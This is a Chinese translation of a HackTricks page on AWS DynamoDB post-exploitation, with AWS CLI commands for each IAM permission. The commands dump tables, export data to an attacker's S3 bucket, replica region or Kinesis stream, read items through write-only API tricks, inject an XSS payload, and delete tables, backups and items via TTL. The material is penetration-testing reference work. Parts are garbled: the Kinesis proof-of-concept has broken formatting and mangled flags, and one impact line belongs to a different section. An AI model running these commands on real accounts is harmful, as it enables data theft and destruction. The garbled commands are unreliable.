AWS - DynamoDB 渗透后利用

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

DynamoDB

更多信息请参见:

AWS - DynamoDB Enum

dynamodb:BatchGetItem

拥有此权限的攻击者将能够 按主键从表中获取项 (你不能直接请求表的所有数据)。这意味着你需要知道主键 (你可以通过获取表的元数据 (describe-table) 来获得这些信息)。

aws dynamodb batch-get-item --request-items file:///tmp/a.json

// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}

潜在影响: 通过在表中定位敏感信息导致间接 privesc

dynamodb:GetItem

与之前的权限类似 该权限允许潜在攻击者在知道条目主键的情况下,从单个表中读取值:

aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json

// With a.json
{
"Id" : {
"N": "205"
}
}

有了此权限,也可以使用 transact-get-items 方法,例如:

aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json

// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]

潜在影响: 通过在表中定位敏感信息间接实现 privesc

dynamodb:Query

与之前的权限类似,此权限允许潜在攻击者在给定要检索条目的主键时读取单个表中的值。它允许使用 subset of comparisons,但对于必须出现的主键,唯一允许的比较是 “EQ”,因此你无法通过比较在一次请求中获取整个数据库。

aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json

// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}

潜在影响: 通过在表中定位敏感信息可实现间接 privesc

dynamodb:Scan

您可以使用此权限轻松导出整个表

aws dynamodb scan --table-name <t_name> #Get data inside the table

潜在影响: 通过在表中定位敏感信息实现间接 privesc

dynamodb:PartiQLSelect

您可以使用此权限 轻松 dump 整个表

aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"

此权限还允许执行 batch-execute-statement,例如:

aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'

但你需要为主键指定一个值,所以这并不太有用。

Potential Impact: 间接 privesc,通过在表中定位敏感信息

dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)

此权限将允许攻击者将整个表导出到其选择的 S3 存储桶

aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>

注意,为使此生效,表需要启用 point-in-time-recovery。你可以用以下命令检查表是否启用它:

aws dynamodb describe-continuous-backups \
--table-name <tablename>

如果它未启用,您需要启用它,为此您需要**dynamodb:ExportTableToPointInTime**权限:

aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true

潜在影响: Indirect privesc 通过在表中定位敏感信息

dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)

拥有这些权限后,攻击者可以从备份创建一个新表(或者甚至先创建一个备份,再将其恢复到不同的表)。然后,在具备必要权限的情况下,他能够检查来自备份的信息,这些信息可能在生产表中不再存在

aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>

Potential Impact: 通过在表的备份中定位敏感信息导致间接 privesc

dynamodb:PutItem

此权限允许用户将新项添加到表中或用新项替换现有项。如果具有相同主键的项已存在,整个项将被新项替换。如果主键不存在,将创建具有指定主键的新项。

## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}

Potential Impact: 通过能够在 DynamoDB 表中添加/修改数据,可能被用于进一步利用漏洞或绕过防护

dynamodb:UpdateItem

此权限允许用户修改条目的现有属性或向其添加新属性。它不会替换整个条目;只会更新指定的属性。如果表中不存在该主键,操作将创建一个具有指定主键的新条目,并根据更新表达式设置指定的属性。

## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}

潜在影响: 通过能够在 DynamoDB 表中添加或修改数据,进而利用更多漏洞/绕过

dynamodb:DeleteTable

具有此权限的攻击者可以删除 DynamoDB 表,导致数据丢失

aws dynamodb delete-table \
--table-name TargetTable \
--region <region>

潜在影响: 数据丢失以及依赖被删除表的服务中断。

dynamodb:DeleteBackup

拥有此权限的攻击者可以删除 DynamoDB 备份,可能在灾难恢复场景中导致数据丢失

aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>

Potential impact: 在灾难恢复场景中导致数据丢失并无法从备份中恢复。

dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords

Note

TODO: 测试这是否真的可行

具有这些权限的攻击者可以在 DynamoDB 表上启用流,更新表以开始流式传输更改,然后访问该流以实时监控表的更改。这使攻击者能够监控并 exfiltrate 数据更改,可能导致 data leakage。

  1. Enable a stream on a DynamoDB table:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
  1. 描述 stream 以获取 ARN 和其他详细信息:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
  1. 使用 stream ARN 获取 shard iterator:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
  1. 使用 shard iterator 访问并 exfiltrate 来自 stream 的数据:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>

Potential impact: 实时监控并泄露 DynamoDB 表更改的数据。

通过 dynamodb:UpdateItemReturnValues=ALL_OLD 读取项

An attacker with only dynamodb:UpdateItem on a table can read items without any of the usual read permissions (GetItem/Query/Scan) by performing a benign update and requesting --return-values ALL_OLD. DynamoDB will return the full pre-update image of the item in the Attributes field of the response (this does not consume RCUs).

  • 最低权限:在目标表/键上具有 dynamodb:UpdateItem
  • 先决条件:您必须知道该项的主键。

示例(添加一个无害属性并 exfiltrates 先前的项在响应中):

aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>

CLI 响应将包含一个 Attributes 块,包含完整的先前项(所有属性),从而在仅具有写权限时实际提供了一个读取原语。

潜在影响: 在仅有写权限的情况下读取表中的任意项,当主键已知时可导致敏感数据被外泄。

dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica

通过向 DynamoDB Global Table(版本 2019.11.21)添加新的副本 Region 实现隐蔽的数据外泄。如果某主体可以添加区域副本,则整个表会被复制到攻击者选择的 Region,从该 Region 攻击者可以读取所有项。

# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>

# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'

# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>

Permissions: dynamodb:UpdateTable (with replica-updates) or dynamodb:CreateTableReplica on the target table. If CMK is used in the replica, KMS permissions for that key may be required.

Potential Impact: 整表复制到攻击者控制的 Region,导致隐蔽的数据 exfiltration。

dynamodb:TransactWriteItems (read via failed condition + ReturnValuesOnConditionCheckFailure=ALL_OLD)

具有事务写入权限的攻击者可以通过在 TransactWriteItems 中执行一个 Update(故意使 ConditionExpression 失败)并设置 ReturnValuesOnConditionCheckFailure=ALL_OLD,来 exfiltrate 现有项的全部属性。失败时,DynamoDB 会在事务取消原因中包含先前的属性,从而实际上将仅写入访问转换为对目标键的读取访问。

# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON

# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item

权限:dynamodb:TransactWriteItems 在目标表上(以及相关的底层 item)。不需要读取权限。

潜在影响:仅通过返回的取消原因,使用事务性写权限读取表中任意项(按主键)。

dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query 在全局二级索引 (GSI) 上

通过在低熵属性上创建一个 ProjectionType=ALL 的全局二级索引 (GSI),绕过读取限制:将该属性在所有 item 上设置为恒定值,然后对索引执行 Query 来检索完整的 item。即使对基础表的 Query/Scan 被拒绝,只要你可以对索引的 ARN 执行查询,该方法仍然有效。

  • 最低权限:
  • dynamodb:UpdateTable 在目标表上(用于创建带有 ProjectionType=ALL 的 GSI)。
  • dynamodb:UpdateItem 在目标表键上(用于在每个 item 上设置被索引的属性)。
  • dynamodb:Query 在索引资源 ARN 上(arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>)。

步骤(PoC 在 us-east-1):

# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done

# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'

# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done

# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1

潜在影响: 通过查询新创建的 GSI(投影所有属性)进行完整表数据外泄,即使基本表的读取 API 被拒绝。

dynamodb:EnableKinesisStreamingDestination (通过 Kinesis Data Streams 持续外泄)

滥用 DynamoDB 的 Kinesis streaming destinations,将表的变更持续外泄到攻击者控制的 Kinesis Data Stream。启用后,每个 INSERT/MODIFY/REMOVE 事件都会被近实时转发到该 Kinesis Data Stream,而无需表的读取权限。

最低权限(攻击者):

  • 在目标表上具有 dynamodb:EnableKinesisStreamingDestination
  • 可选:用于监控状态的 dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTable
  • 对攻击者拥有的 Kinesis stream 的读取权限以消费记录:kinesis:*
PoC (us-east-1) ```bash # 1) Prepare: create a table and seed one item aws dynamodb create-table --table-name HTXKStream \ --attribute-definitions AttributeName=id,AttributeType=S \ --key-schema AttributeName=id,KeyType=HASH \ --billing-mode PAY_PER_REQUEST --region us-east-1 aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1 aws dynamodb put-item --table-name HTXKStream \ --item file:///tmp/htx_item1.json --region us-east-1 # /tmp/htx_item1.json # {"id":{"S":"a1"},"secret":{"S":"s-1"}}

2) Create attacker Kinesis Data Stream

aws kinesis create-stream –stream-name htx-ddb-exfil –shard-count 1 –region us-east-1 aws kinesis wait stream-exists –stream-name htx-ddb-exfil –region us-east-1

3) Enable the DynamoDB -> Kinesis streaming destination

STREAM_ARN=$(aws kinesis describe-stream-summary –stream-name htx-ddb-exfil
–region us-east-1 –query StreamDescriptionSummary.StreamARN –output text) aws dynamodb enable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1

Optionally wait until ACTIVE

aws dynamodb describe-kinesis-streaming-destination –table-name HTXKStream
–region us-east-1 –query KinesisDataStreamDestinations[0].DestinationStatus

4) Generate changes on the table

aws dynamodb put-item –table-name HTXKStream
–item file:///tmp/htx_item2.json –region us-east-1

/tmp/htx_item2.json

{“id”:{“S”:“a2”},“secret”:{“S”:“s-2”}}

aws dynamodb update-item –table-name HTXKStream
–key file:///tmp/htx_key_a1.json
–update-expression “SET #i = :v”
–expression-attribute-names {#i:info}
–expression-attribute-values {:v:{S:updated}}
–region us-east-1

/tmp/htx_key_a1.json -> {“id”:{“S”:“a1”}}

5) Consume from Kinesis to observe DynamoDB images

SHARD=$(aws kinesis list-shards –stream-name htx-ddb-exfil –region us-east-1
–query Shards[0].ShardId –output text) IT=$(aws kinesis get-shard-iterator –stream-name htx-ddb-exfil –shard-id “$SHARD”
–shard-iterator-type TRIM_HORIZON –region us-east-1 –query ShardIterator –output text) aws kinesis get-records –shard-iterator “$IT” –limit 10 –region us-east-1 > /tmp/krec.json

Decode one record (Data is base64-encoded)

jq -r .Records[0].Data /tmp/krec.json | base64 –decode | jq .

6) Cleanup (recommended)

aws dynamodb disable-kinesis-streaming-destination
–table-name HTXKStream –stream-arn “$STREAM_ARN” –region us-east-1 || true aws kinesis delete-stream –stream-name htx-ddb-exfil –enforce-consumer-deletion –region us-east-1 || true aws dynamodb delete-table –table-name HTXKStream –region us-east-1 || true

### `dynamodb:UpdateTimeToLive`

具有 dynamodb:UpdateTimeToLive 权限的攻击者可以更改表的 TTL(time-to-live,生存时间)配置——启用或禁用 TTL。启用 TTL 后,包含所配置 TTL 属性的单个项将在其到期时间到达后自动被删除。TTL 值只是每个项上的另一个属性;没有该属性的项不受基于 TTL 的删除影响。

如果项中尚未包含 TTL 属性,攻击者还需要拥有更新项的权限(例如 dynamodb:UpdateItem)来添加 TTL 属性并触发大规模删除。

首先在表上启用 TTL,指定用于过期的属性名称:
```bash
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"

然后更新这些项以添加 TTL 属性(纪元秒),以便它们到期并被移除:

aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'

dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime

具有 dynamodb:RestoreTableFromAwsBackupdynamodb:RestoreTableToPointInTime 权限的攻击者可以创建从备份或从 point-in-time recovery (PITR) 恢复的新表,而不会覆盖原表。恢复的表包含所选时间点的数据完整镜像,因此攻击者可以用它来 exfiltrate 历史信息或获取数据库过去状态的完整转储。

从按需备份恢复 DynamoDB 表:

aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>

将 DynamoDB 表恢复到某个时间点(创建一个具有恢复状态的新表):

aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time

潜在影响: 实现对表变更的持续、近实时 exfiltration,发送到攻击者控制的 Kinesis stream,而无需对表执行直接的读取操作。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks